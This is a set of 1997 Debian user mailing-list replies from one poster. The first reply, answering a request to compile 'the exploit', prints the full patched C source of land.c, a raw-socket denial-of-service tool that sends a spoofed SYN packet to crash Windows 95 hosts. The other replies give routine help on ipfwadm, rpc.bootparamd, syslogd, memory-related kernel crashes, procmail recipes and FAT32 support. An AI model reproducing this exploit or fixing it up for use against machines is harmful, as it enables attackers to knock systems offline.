Re: Compiling land.c

1997-11-27 Thread Elie Rosenblum
And thus spake Adam Shand, on Thu, Nov 27, 1997 at 01:07:53AM -0900:
> Hopefully a quick question.  I'm trying to compile land.c (as in the
> exploit) and it bombs out on me because it can't find netinet/ip_tcp.h and
> netinet/protocols.h.
> 
> I've searched my hard drive and I don't have these files anywhere (and I
> have kernel sources installed and most of the -dev packages) and I would
> like to get this compiled. 
> 
> Can someone point me to the right place?

The publichsed land.c doesn't compile cleanly with libc6 under linux.
It's just a trivial job patching it to work right; here's the fixed
source code:


/* land.c by m3lt, FLC
   crashes a win95 box */
/* patched for linux/libc6+debian */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define __FAVOR_BSD
#include 

struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;

for(i=0;i<(length>>1);i++)
value+=data[i];

if((length&1)==1)
value+=(data[i]<<8);

value=(value&65535)+(value>>16);

return(~value);
}

int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct 
iphdr));
struct pseudohdr pseudoheader;

fprintf(stderr,"land.c by m3lt, FLC\n");

if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}

bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;

if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}

if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}

bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IPPROTO_TCP;
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;

tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);

bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct 
tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct 
tcphdr));

if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct 
tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}

fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

close(sock);
return(0);
}

-- 
Elie Rosenblum <[EMAIL PROTECTED]>   That is not dead which can eternal lie,
 <[EMAIL PROTECTED]>  And with strange aeons even death may die.
Developer / Mercenary / System Administrator - _The Necromicon_


--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
[EMAIL PROTECTED] . 
Trouble?  e-mail to [EMAIL PROTECTED] .


Re: IP address and ipfwadm

1997-09-21 Thread Elie Rosenblum
On Mon, 22 Sep 1997, Lawrence wrote:
> I am using dialup PPP and need to run ipfwadm everytime I connect to my
> ISP.  I know that I can put ipfwadm into /etc/rc file.  What is the
> best/easy way to get the IP address other than using ifconfig or route
> (they are not good because the output is more than one line)?
> 
> ipfwadm -A -a -P My IP address go here -D 0/0

$IPADDR=`ifconfig ppp0|perl -ne 'print $1 if (/inet addr:(\S+)\s/);'`
ipfwadm -A -a -P $IPADDR -D 0/0
whatever

---
Elie Rosenblum <[EMAIL PROTECTED]>   That is not dead which can eternal lie,
 <[EMAIL PROTECTED]>  And with strange aeons even death may die.
Developer / Mercenary / System Administrator - _The Necromicon_


--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
[EMAIL PROTECTED] . 
Trouble?  e-mail to [EMAIL PROTECTED] .


Re: Looking for rpc.bootparamd

1997-08-26 Thread Elie Rosenblum
On Sun, 24 Aug 1997, Steve Philp wrote:
> Howdy!
> 
>  I'm a recent convert to Debian, and it looks like I'm only missing 
>  one package to make this installation complete.  I need to find
>  rpc.bootparamd.  I've attempted to look through the various pkgs
>  available in stable/non-free/contrib, but I can't find anything 
>  that looks promising.
> 
>  So, this spawns two questions:
> 
>  1)  What package do I need to grab to get rpc.bootparamd?
> 
>  2)  Is it possible to get dselect to show the files that are
>  contained within a package? (I flipped through the three
>  information "choices", but none showed files contained)
> 
>  I've got a diskless SPARCsystem 300 here that needs bootparamd
>  in order to get the rest of it's operating system from my Linux
>  machine, so I'd really like to find this package.

Grab the latest netstd from unstable (I have 2.16-1). The older netstd
package doesn't include rpc.bootparamd. The new one does (I'm using it for
booting my diskless SS ELC right now).

---
Elie Rosenblum <[EMAIL PROTECTED]>   That is not dead which can eternal lie,
 <[EMAIL PROTECTED]>  And with strange aeons even death may die.
Developer / Mercenary / System Administrator - _The Necromicon_


--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
[EMAIL PROTECTED] . 
Trouble?  e-mail to [EMAIL PROTECTED] .


Re: syslogd will not start

1997-04-06 Thread Elie Rosenblum
On Sat, 5 Apr 1997, Ken Gaugler wrote:
> According to the manpages,
> 
>-n Avoid auto-backgrounding. This is needed especially
>   if   the  syslogd  is  started  and  controlled  by
>   init(8).
> My system, originally a 1.1 system, has syslog starting from the
> /etc/init.d/sysklogd file.  This is init, as far as I know.

When it says 'starting from init', it means 'starting from /etc/inittab.'

---
Elie Rosenblum <[EMAIL PROTECTED]> That is not dead which can eternal lie,
<[EMAIL PROTECTED]>  And with strange aeons even death may die.
Mail System Administrator, Erol's Internet- _The Necromicon_


Re: Kernel compilation problem

1997-03-09 Thread Elie Rosenblum
On Sun, 9 Mar 1997, Alexander Koch wrote:
> I tried to compile a new kernel on my own (just the old way) and I am afraid
> i messed some things up...
> 
> What does have to be a module? Even the SCSI controller? (I guess not)
> 
> And, besides - after installing debian on my system I get segfaults and
> coredumps with several programs at random choice and at will, if you call it
> this way. Then I get a signal 11 even with rnews (uucp) (!) and occasionally
> when compiling a new kernel...
> 
> Well, I know of this fatal sig 11 thing, but, $%!"#$"#$%"%", it worked
> before on the same two scsi discs with another distribution.

If you have fatal sig 11 during kernel compilation, it almost _always_
means you have either bad L2 cache or a bad simm. To see if it's the
cache, go into your BIOS and disable the external cache entirely. If it's
not the cache, I suggest getting a SIMM tester and running all of your
memory through it several times.

---
Elie Rosenblum ([EMAIL PROTECTED]) System Administrator, Erol's Internet
"When Cthulhu calls, he calls _collect_."


Re: Procmail recipe.

1997-03-02 Thread Elie Rosenblum
On Sun, 2 Mar 1997, Patrick Ryan wrote:
> :0
> * ^From .*debian-user*
> debian-user-l-inbox
> 
> :0
> * ^To: .*debian-user*
> debian-user-l-inbox
> 
> :0
> * ^Cc: .*debian-user*
> debian-user-l-inbox

This should be the same as:
:0
* ^From .*debian-user*
* ^To: .*debian-user*
* ^Cc: .*debian-user*
debian-user-l-inbox

Or you could just use the built in macros ^TO and ^FROM:

:0
* ^TO.*debian-user
* ^FROM.*debian-user
debian-user-l-inbox

Since ^TO will match all the addressing mechanisms procmail can check,
To:, Apparently-To:, Cc:, and any others it knows about. In fact, the
^FROM should be rather extraneous (and anyway, the debian list server
doesn't rewrite the headers the way I like them, so it doesn't do
redirects right).

 ---
Elie Rosenblum ([EMAIL PROTECTED]) System Administrator, Erol's Internet
"When Cthulhu calls, he calls _collect_."



Re: can Linux r/w Windoze FAT32?

1997-02-28 Thread Elie Rosenblum
On Thu, 27 Feb 1997, Alex Lobkovsky wrote:
> Does Linux read/write to the new Win95 Fat32 filesystem?

Compile in vfat fs support when you make your kernel, or make the modules
for it and insmod them or let kerneld autoload them.

---
Elie Rosenblum ([EMAIL PROTECTED]) System Administrator, Erol's Internet
"When Cthulhu calls, he calls _collect_."